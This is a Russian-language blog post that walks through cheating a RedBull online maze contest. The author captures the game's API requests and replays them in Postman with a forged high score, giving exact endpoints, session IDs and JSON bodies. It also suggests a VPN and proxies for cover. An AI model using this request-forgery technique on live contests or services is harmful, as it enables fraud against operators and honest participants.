Как «взломать» RedBull

Запись закреплена

Выиграли целый холодильник RedBull с RedBull. Шучу, не выиграли

На самом деле правильнее сказать как накрутить себе баллы в конкурсе, чтобы выиграть целый холодильник RedBull. У нас, кстати, в офисе уже стоит такой холодильник с напитками.

Когда в очередной раз в офис доставили соки, газировки и другие напитки в офис, я обнаружил листовку с рекламой конкурса, суть которого заключалась в прохождении игры и победитель выигрывал холодильник энергетических напитков.

Второй холодильник нам бы не помешал – мы как раз расширились, и у нас появились новые офисные кабинеты. Поэтому я прошел по ссылке и решил попытать удачу, моя попытка оказалась провальной и я оказался где-то в конце рейтинга. Игра заключалась в том, чтобы пройти несколько уровней лабиринта максимально быстро.

Теперь надо надеть солнцезащитные очки, включить vpn, всевозможные прокси и т.д.

Перейдем к делу.

Прекрасно понимая, что любая игра в вебе – это последовательность запросов, и зная рынок разработки, на котором немало дилетантов, я решил попытать удачу в другом направлении и вдруг наткнусь на дыры в игре. Не то, чтобы мне так нужен был этот холодильник, просто появился спортивный интерес.

http://redbull.ru/work

Будем отслеживать запросы в браузере, после этого попробуем эти же запросы отправить, но уже с измененными значениями.

Первым делом идет запрос на старт игры: https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs

При этом в ссылке замечаем id = 8970c40a-98f0-4395-85c8-66177fb38af0 Пару раз обновляем страницу в браузере, открывает с другого ip и в другом бразуере, этот параметр не меняется, предполагаем, что это константа-идентификатор игры. Еще замечаем, что в параметрах заголовка типа данных accept: application/vnd.api+json

В ответ на этот запрос получаем ответ:

{
    "data":{
        "attributes":{
            "finished_at":null,
            "game_day":114,
            "game_week":17,
            "score":null
        },
        "id":"4f89d56d-884e-42e8-909d-d1e7547cc1d8",
        "links":{
            "self":"https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/runs/4f89d56d-884e-42e8-909d-d1e7547cc1d8"
        },
        "relationships":{},
        "type":"runs"
    },
    "included":[],
    "links":{
        "self":"https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/runs/4f89d56d-884e-42e8-909d-d1e7547cc1d8"
    }
}

В ответе можно заметить разные атрибуты и еще один id = 4f89d56d-884e-42e8-909d-d1e7547cc1d8, который судя по всему является нашим персональным идентификатором игры.

Начинаем игру.

Наблюдаем над запросами. Видим, что ничего нового не появляется, то есть никакие этапы прохождения игры не триггерятся. На всякий случай проверил, может что-то ходит по веб-сокетам – там тоже пусто.

По завершению игры мы где-то в рейтинге, но мы не первые, что нас сильно огорчает. Пока что.
Смотрим в консоль и видим, что отправились еще 2 запроса, но один из них на получение статей, другой на получение рейтинга игроков. Полезного тут мало, запоминаем рейтинг первого места – 61454667.
Нажимаем на кнопку сохранения результата.

Отправился еще один запрос на url https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs/4f89d56d-884e-42e8-909d-d1e7547cc1d8/submit с параметрами

{
    "data":{
        "id":"8970c40a-98f0-4395-85c8-66177fb38af0",
        "type":"runs",
        "attributes":{
            "score":11041900
        }
    }
}

Становится очевидным, что ссылка формируется из статичного id игры и id нашей сессии. В параметрах передается счет, который будет сохранен за нами и участвовать в рейтинге.

На следующем этапе открывается страница с формой, которая подгружается в iframe. Замечаем, что в ссылке участвует наш сессионный id: https://redbull.jotform.com/93071907238864&runid=4f89d56d-884e-42e8-909d-d1e7547cc1d8&runscore=11041900&redirect=https://maze.redbull.com

После отправки формы, получаем подтверждение.

Теперь повторим все те же самые запросы, но уже не через бразуер.
Я буду использовать Postman.

Отправляем запрос на https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs

Получили ответ

{
    "data": {
        "attributes": {
            "finished_at": null,
            "game_day": 114,
            "game_week": 17,
            "score": null
        },
        "id": "f95dad7c-eecf-4d3a-88e9-a32661a484e4",
        "links": {
            "self": "https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/runs/f95dad7c-eecf-4d3a-88e9-a32661a484e4"
        },
        "relationships": {},
        "type": "runs"
    },
    "included": [],
    "links": {
        "self": "https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/runs/f95dad7c-eecf-4d3a-88e9-a32661a484e4"
    }
}

Самое важное тут id = f95dad7c-eecf-4d3a-88e9-a32661a484e4

Теперь формируем ссылку для получения рейтинга. Нам нужен будет наш сессионный id и результат, который будет больше текущего рекорда 61454667. Возьмем для эстетики первый цифры числа 2*pi, как раз чуть больше рекорда. Отправляем запрос https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs/f95dad7c-eecf-4d3a-88e9-a32661a484e4/leaderboard?score=62831853&filter[interval]=none

В ответе видим, что мы уже первые в списке, теперь сохраним результат.
Отправим запрос на https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs/f95dad7c-eecf-4d3a-88e9-a32661a484e4/submit
В этом запросе важно еще прописать атрибуты заголовков.

Супер! Все прошло ок, получили подтверждение результата. Теперь необходимо отправить контактные данные, чтобы с нами связались RedBull.
Для этого просто в браузере открываем ссылку с формой с нашим сессионным id.
https://redbull.jotform.com/93071907238864&runid=f95dad7c-eecf-4d3a-88e9-a32661a484e4&runscore=61454667&redirect=https://maze.redbull.com

Заполняем форму.
Отправляем.

Получаем подтверждение! Конкурс уже закончился, он действовал до 31 января 2020.
P.S. На момент публикации розыгрыш завершен, во время проведения акции мы в ней не участвовали, на победу не претендовали. Все описания носят только информационный характер. Никакие коммерческие и иные ценности этими действиями не преследовались.